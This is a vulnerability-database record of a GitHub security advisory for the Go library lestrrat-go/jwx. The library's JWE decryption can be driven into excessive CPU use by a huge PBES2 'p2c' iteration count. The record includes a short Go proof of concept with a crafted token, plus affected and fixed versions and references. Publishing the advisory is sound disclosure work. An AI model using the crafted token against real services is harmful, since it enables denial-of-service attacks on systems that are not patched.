{"id":"GHSA-7f9x-gw85-8grf","revision":"11b8a11960e5410cbe3be331fcdf34fb","records":[{"revision":"11b8a11960e5410cbe3be331fcdf34fb","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-7f9x-gw85-8grf","aliases":["CVE-2023-49290","GO-2023-2379"],"title":"lestrrat-go/jwx's malicious parameters in JWE can cause a DOS","description":"### Summary\ntoo high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack\n\n### Details\nThe JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive.\nTherefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack\n\n### PoC\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"github.com/lestrrat-go/jwx/v2/jwa\"\n\t\"github.com/lestrrat-go/jwx/v2/jwe\"\n\t\"github.com/lestrrat-go/jwx/v2/jwk\"\n)\n\nfunc main() {\n\ttoken := []byte(\"eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA\")\n\tkey, err := jwk.FromRaw([]byte(`abcdefg`))\n\tpayload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key))\n\tif err == nil {\n\t\tfmt.Println(string(payload))\n\t}\n}\n\n```\n\n### Impact\nIt's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.\n","state":0,"publishedAt":"2023-12-05T23:29:26+00:00","modifiedAt":"2026-09-10T03:49:59.4446036+00:00","affected":[{"ecosystem":"Go","name":"github.com/lestrrat-go/jwx","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.2.27"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/lestrrat-go/jwx/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.0.18"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/lestrrat-go/jwx/security/advisories/GHSA-7f9x-gw85-8grf","https://nvd.nist.gov/vuln/detail/CVE-2023-49290","https://github.com/lestrrat-go/jwx/commit/64f2a229b8e18605f47361d292b526bdc4aee01c","https://github.com/lestrrat-go/jwx"],"sourceUrl":"https://github.com/advisories/GHSA-7f9x-gw85-8grf","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-7f9x-gw85-8grf","identifiers":["GHSA-7f9x-gw85-8grf","CVE-2023-49290","GO-2023-2379"]},"retained":false,"historicalAffected":[]}],"coverage":[]}